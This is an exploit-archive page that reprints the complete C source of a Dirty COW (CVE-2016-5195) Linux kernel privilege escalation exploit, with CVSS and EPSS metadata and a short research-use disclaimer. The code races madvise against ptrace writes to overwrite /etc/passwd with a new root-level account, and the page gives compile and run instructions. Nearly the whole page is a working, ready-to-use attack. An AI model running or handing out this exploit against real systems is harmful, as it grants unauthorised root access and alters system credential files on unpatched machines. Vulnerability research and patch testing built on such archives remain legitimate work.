Advertisement






Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation

CVE Category Price Severity
CVE-2016-5195 CWE-119 $5000 High
Author Risk Exploitation Type Date
unknown High Local 2016-11-29
CVSS EPSS EPSSP
CVSS:7.8/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016110238

Below is a copy:

Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation//
// This exploit uses the pokemon exploit as a base and automatically
// generates a new passwd line. The original /etc/passwd is then
// backed up to /tmp/passwd.bak and overwritten with the new line.
// The user will be prompted for the new password when the binary is run.
// After running the exploit you should be able to login with the newly
// created user.
//
// Original exploit:
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// To use this exploit modify the user values according to your needs
//
// Compile with
//
// gcc -pthread dirty.c -o dirty -lcrypt
//
// and just run the newly create binary with ./dirty
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT !
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
 
 
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
 
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
 
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
 
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
 
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}
 
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}
 
void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }
 
  char ch;
  FILE *source, *target;
 
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }
 
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }
 
  printf("%s successfully backed up to %s\n",
    from, to);
 
  fclose(source);
  fclose(target);
 
  return 0;
}
 
int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }
 
  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";
 
  char *plaintext_pw = getpass("Please enter new password: ");
  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);
 
  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }
 
  printf("Done! Check %s to see if the new user was created\n", filename);
  printf("You can log in with username %s and password %s.\n\n",
    user.username, plaintext_pw);
  printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n",
    filename, backup_filename);
  return 0;
}



Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum